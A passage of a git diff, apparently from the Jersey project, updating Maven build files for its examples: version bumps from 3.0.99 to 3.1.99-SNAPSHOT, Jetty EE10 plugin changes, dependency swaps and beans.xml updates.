<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>bookmark-em</artifactId>
diff --git a/examples/bookmark/pom.xml b/examples/bookmark/pom.xml
index 21d30d8..0096e1e 100644
--- a/examples/bookmark/pom.xml
+++ b/examples/bookmark/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>bookmark</artifactId>
diff --git a/examples/bookstore-webapp/pom.xml b/examples/bookstore-webapp/pom.xml
index d8c4725..ae176c7 100644
--- a/examples/bookstore-webapp/pom.xml
+++ b/examples/bookstore-webapp/pom.xml
@@ -35,7 +35,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>bookstore-webapp</artifactId>
@@ -56,7 +56,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
@@ -69,14 +68,19 @@
<groupId>jakarta.xml.bind</groupId>
<artifactId>jakarta.xml.bind-api</artifactId>
</dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>runtime</scope>
+ </dependency>
</dependencies>
<build>
<plugins>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/bookstore-webapp</contextPath>
@@ -88,19 +92,6 @@
<profiles>
<profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>com.sun.xml.bind</groupId>
- <artifactId>jaxb-osgi</artifactId>
- <scope>runtime</scope>
- </dependency>
- </dependencies>
- </profile>
- <profile>
<!-- mvn test -Prun-external-tests -->
<id>run-external-tests</id>
<build>
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml
index 4531b60..3bc4fba 100644
--- a/examples/cdi-webapp/pom.xml
+++ b/examples/cdi-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-webapp</artifactId>
@@ -180,6 +180,7 @@
<dependency>
<groupId>org.jboss.weld.servlet</groupId>
<artifactId>weld-servlet-core</artifactId>
+ <version>${weld.version}</version>
</dependency>
</dependencies>
</profile>
@@ -199,7 +200,8 @@
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
- <forkMode>always</forkMode>
+ <forkCount>1</forkCount>
+ <reuseForks>false</reuseForks>
<enableAssertions>false</enableAssertions>
</configuration>
</plugin>
diff --git a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
+++ b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
-->
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
diff --git a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
+++ b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
-->
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml
index 36b2854..e6e41ba 100644
--- a/examples/clipboard-programmatic/pom.xml
+++ b/examples/clipboard-programmatic/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>clipboard-programmatic</artifactId>
diff --git a/examples/clipboard/pom.xml b/examples/clipboard/pom.xml
index 34ab9c2..1dfba41 100644
--- a/examples/clipboard/pom.xml
+++ b/examples/clipboard/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>clipboard</artifactId>
diff --git a/examples/configured-client/pom.xml b/examples/configured-client/pom.xml
index 6d38f0d..6e002ea 100644
--- a/examples/configured-client/pom.xml
+++ b/examples/configured-client/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>configured-client</artifactId>
diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml
index 63c4e78..8a1cbaa 100644
--- a/examples/declarative-linking/pom.xml
+++ b/examples/declarative-linking/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>declarative-linking</artifactId>
@@ -50,8 +50,8 @@
</dependency>
<dependency>
- <groupId>org.glassfish</groupId>
- <artifactId>jakarta.el</artifactId>
+ <groupId>org.glassfish.expressly</groupId>
+ <artifactId>expressly</artifactId>
</dependency>
<dependency>
diff --git a/examples/entity-filtering-security/pom.xml b/examples/entity-filtering-security/pom.xml
index 5cb67a3..21301d0 100644
--- a/examples/entity-filtering-security/pom.xml
+++ b/examples/entity-filtering-security/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>entity-filtering-security</artifactId>
diff --git a/examples/entity-filtering-selectable/pom.xml b/examples/entity-filtering-selectable/pom.xml
index 6664f23..4c674bb 100644
--- a/examples/entity-filtering-selectable/pom.xml
+++ b/examples/entity-filtering-selectable/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>entity-filtering-selectable</artifactId>
diff --git a/examples/entity-filtering/pom.xml b/examples/entity-filtering/pom.xml
index 4af5fa4..2c01d1a 100644
--- a/examples/entity-filtering/pom.xml
+++ b/examples/entity-filtering/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>entity-filtering</artifactId>
diff --git a/examples/exception-mapping/pom.xml b/examples/exception-mapping/pom.xml
index b55aa9e..3b7acfe 100644
--- a/examples/exception-mapping/pom.xml
+++ b/examples/exception-mapping/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>exception-mapping</artifactId>
diff --git a/examples/extended-wadl-webapp/pom.xml b/examples/extended-wadl-webapp/pom.xml
index 3feed37..37d5044 100644
--- a/examples/extended-wadl-webapp/pom.xml
+++ b/examples/extended-wadl-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>extended-wadl-webapp</artifactId>
@@ -109,7 +109,7 @@
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
- <version>1.6.4</version>
+ <version>${slf4j.version}</version>
<scope>test</scope>
</dependency>
@@ -139,8 +139,8 @@
<artifactId>jakarta.xml.bind-api</artifactId>
</dependency>
<dependency>
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
</dependency>
</dependencies>
@@ -259,7 +259,8 @@
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
- <forkMode>always</forkMode>
+ <forkCount>1</forkCount>
+ <reuseForks>false</reuseForks>
<enableAssertions>false</enableAssertions>
<excludes>
<exclude>org/glassfish/jersey/examples/extendedwadl/ExtendedWadlWebappOsgiTest.java</exclude>
diff --git a/examples/freemarker-webapp/pom.xml b/examples/freemarker-webapp/pom.xml
index d5b3042..cb12a75 100644
--- a/examples/freemarker-webapp/pom.xml
+++ b/examples/freemarker-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>freemarker-webapp</artifactId>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
@@ -53,8 +52,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml
index 8d7a370..9b019a1 100644
--- a/examples/groovy/pom.xml
+++ b/examples/groovy/pom.xml
@@ -16,7 +16,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>groovy</artifactId>
<packaging>jar</packaging>
diff --git a/examples/helloworld-benchmark/pom.xml b/examples/helloworld-benchmark/pom.xml
index 055c055..b6345d6 100644
--- a/examples/helloworld-benchmark/pom.xml
+++ b/examples/helloworld-benchmark/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-benchmark</artifactId>
diff --git a/examples/helloworld-cdi2-se/pom.xml b/examples/helloworld-cdi2-se/pom.xml
index fa19a70..5343086 100644
--- a/examples/helloworld-cdi2-se/pom.xml
+++ b/examples/helloworld-cdi2-se/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-cdi2-se</artifactId>
@@ -39,6 +39,17 @@
</dependency>
<dependency>
+ <groupId>org.jboss.weld.se</groupId>
+ <artifactId>weld-se-core</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+
+ <dependency>
<groupId>org.glassfish.jersey.test-framework</groupId>
<artifactId>jersey-test-framework-util</artifactId>
<scope>test</scope>
@@ -76,25 +87,6 @@
</plugins>
</build>
</profile>
-
- <profile>
- <id>jdk11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>org.jboss.weld.se</groupId>
- <artifactId>weld-se-core</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.jboss.logging</groupId>
- <artifactId>jboss-logging</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- </profile>
</profiles>
</project>
diff --git a/examples/helloworld-netty/pom.xml b/examples/helloworld-netty/pom.xml
index 2bb3e5f..6d2611d 100644
--- a/examples/helloworld-netty/pom.xml
+++ b/examples/helloworld-netty/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-netty</artifactId>
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml
index 6636d3a..cdcd93c 100644
--- a/examples/helloworld-programmatic/pom.xml
+++ b/examples/helloworld-programmatic/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-programmatic</artifactId>
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml
index 768bfec..4fb0dd4 100644
--- a/examples/helloworld-pure-jax-rs/pom.xml
+++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-pure-jax-rs</artifactId>
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml
index ab5ea99..e31a2d7 100644
--- a/examples/helloworld-spring-annotations/pom.xml
+++ b/examples/helloworld-spring-annotations/pom.xml
@@ -15,7 +15,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.examples</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>helloworld-spring-annotations</artifactId>
@@ -83,7 +83,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
</dependency>
</dependencies>
diff --git a/examples/helloworld-spring-webapp/pom.xml b/examples/helloworld-spring-webapp/pom.xml
index 81d3514..f02264d 100644
--- a/examples/helloworld-spring-webapp/pom.xml
+++ b/examples/helloworld-spring-webapp/pom.xml
@@ -25,7 +25,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-spring-webapp</artifactId>
@@ -87,7 +87,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
</dependency>
<dependency>
@@ -119,8 +119,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" to deploy to Jetty-->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/helloworld-spring-webapp</contextPath>
diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml
index f0ad725..d698f22 100644
--- a/examples/helloworld-webapp/pom.xml
+++ b/examples/helloworld-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-webapp</artifactId>
@@ -32,7 +32,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<!-- <scope>provided</scope> Make this provided for jetty:run -->
</dependency>
@@ -60,8 +59,8 @@
<plugins>
<!-- Run the application using "mvn jetty:run" to deploy to Jetty-->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<webApp>
<contextPath>/helloworld-webapp</contextPath>
diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml
index a5ce51c..cdd4402 100644
--- a/examples/helloworld-weld/pom.xml
+++ b/examples/helloworld-weld/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld-weld</artifactId>
@@ -60,6 +60,18 @@
<dependency>
<groupId>org.jboss.weld.se</groupId>
<artifactId>weld-se-core</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.jboss.logging</groupId>
+ <artifactId>jboss-logging</artifactId>
+ <version>${jboss.logging.version}</version>
+ <scope>provided</scope>
</dependency>
<dependency>
diff --git a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
+++ b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
-->
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+ bean-discovery-mode="all">
+</beans>
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml
index b99c2ef..3997065 100644
--- a/examples/helloworld/pom.xml
+++ b/examples/helloworld/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>helloworld</artifactId>
diff --git a/examples/http-patch/pom.xml b/examples/http-patch/pom.xml
index 567d9ad..f1f662f 100644
--- a/examples/http-patch/pom.xml
+++ b/examples/http-patch/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>http-patch</artifactId>
diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml
index 0026193..183e475 100644
--- a/examples/http-trace/pom.xml
+++ b/examples/http-trace/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>http-trace</artifactId>
diff --git a/examples/https-clientserver-grizzly/pom.xml b/examples/https-clientserver-grizzly/pom.xml
index 1ff6f66..87f27c3 100644
--- a/examples/https-clientserver-grizzly/pom.xml
+++ b/examples/https-clientserver-grizzly/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>https-clientserver-grizzly</artifactId>
@@ -58,6 +58,12 @@
<artifactId>junit-jupiter</artifactId>
<scope>test</scope>
</dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>runtime</scope>
+ </dependency>
+
</dependencies>
<build>
@@ -74,23 +80,6 @@
<profiles>
<profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <properties>
- <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
- <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
- </properties>
- <dependencies>
- <dependency>
- <groupId>com.sun.xml.bind</groupId>
- <artifactId>jaxb-osgi</artifactId>
- <scope>runtime</scope>
- </dependency>
- </dependencies>
- </profile>
- <profile>
<id>pre-release</id>
<build>
<plugins>
@@ -103,4 +92,9 @@
</profile>
</profiles>
+ <properties>
+ <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+ <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+ </properties>
+
</project>
diff --git a/examples/https-server-glassfish/pom.xml b/examples/https-server-glassfish/pom.xml
index 1273186..3f5b890 100644
--- a/examples/https-server-glassfish/pom.xml
+++ b/examples/https-server-glassfish/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>https-server-glassfish</artifactId>
diff --git a/examples/java8-webapp/pom.xml b/examples/java8-webapp/pom.xml
index 25d7e1b..0ca1049 100644
--- a/examples/java8-webapp/pom.xml
+++ b/examples/java8-webapp/pom.xml
@@ -18,7 +18,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>java8-webapp</artifactId>
@@ -53,8 +53,8 @@
</plugin>
<!-- Run the application using "mvn jetty:run" -->
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
<configuration>
<stopWait>5</stopWait>
<stopPort>9999</stopPort>
diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml
index f8e72a7..6a804da 100644
--- a/examples/jaxb/pom.xml
+++ b/examples/jaxb/pom.xml
@@ -16,7 +16,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jaxb</artifactId>
diff --git a/examples/jaxrs-types-injection/pom.xml b/examples/jaxrs-types-injection/pom.xml
index 63e5a87..6e48416 100644
--- a/examples/jaxrs-types-injection/pom.xml
+++ b/examples/jaxrs-types-injection/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jaxrs-types-injection</artifactId>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml
index 83d4303..9c1b723 100644
--- a/examples/jersey-ejb/pom.xml
+++ b/examples/jersey-ejb/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-ejb</artifactId>
diff --git a/examples/json-binding-webapp/pom.xml b/examples/json-binding-webapp/pom.xml
index 7251947..fa61fc9 100644
--- a/examples/json-binding-webapp/pom.xml
+++ b/examples/json-binding-webapp/pom.xml
@@ -16,7 +16,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-binding-webapp</artifactId>
diff --git a/examples/json-jackson/pom.xml b/examples/json-jackson/pom.xml
index 4f27b73..2f86db1 100644
--- a/examples/json-jackson/pom.xml
+++ b/examples/json-jackson/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-jackson</artifactId>
diff --git a/examples/json-jackson1/pom.xml b/examples/json-jackson1/pom.xml
deleted file mode 100644
index e69de29..0000000
--- a/examples/json-jackson1/pom.xml
+++ /dev/null
diff --git a/examples/json-jettison/pom.xml b/examples/json-jettison/pom.xml
index b59825a..b0edc4b 100644
--- a/examples/json-jettison/pom.xml
+++ b/examples/json-jettison/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-jettison</artifactId>
diff --git a/examples/json-moxy/pom.xml b/examples/json-moxy/pom.xml
index 1424646..50a565a 100644
--- a/examples/json-moxy/pom.xml
+++ b/examples/json-moxy/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-moxy</artifactId>
diff --git a/examples/json-processing-webapp/pom.xml b/examples/json-processing-webapp/pom.xml
index ddbf757..dd883c3 100644
--- a/examples/json-processing-webapp/pom.xml
+++ b/examples/json-processing-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>webapp-example-parent</artifactId>
<relativePath>../webapp-example-parent/pom.xml</relativePath>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-processing-webapp</artifactId>
@@ -50,8 +50,8 @@
<build>
<plugins>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/examples/json-with-padding/pom.xml b/examples/json-with-padding/pom.xml
index 836cea3..27cf828 100644
--- a/examples/json-with-padding/pom.xml
+++ b/examples/json-with-padding/pom.xml
@@ -18,7 +18,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>json-with-padding</artifactId>
diff --git a/examples/managed-beans-webapp/pom.xml b/examples/managed-beans-webapp/pom.xml
index 700bf51..7da876e 100644
--- a/examples/managed-beans-webapp/pom.xml
+++ b/examples/managed-beans-webapp/pom.xml
@@ -19,7 +19,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
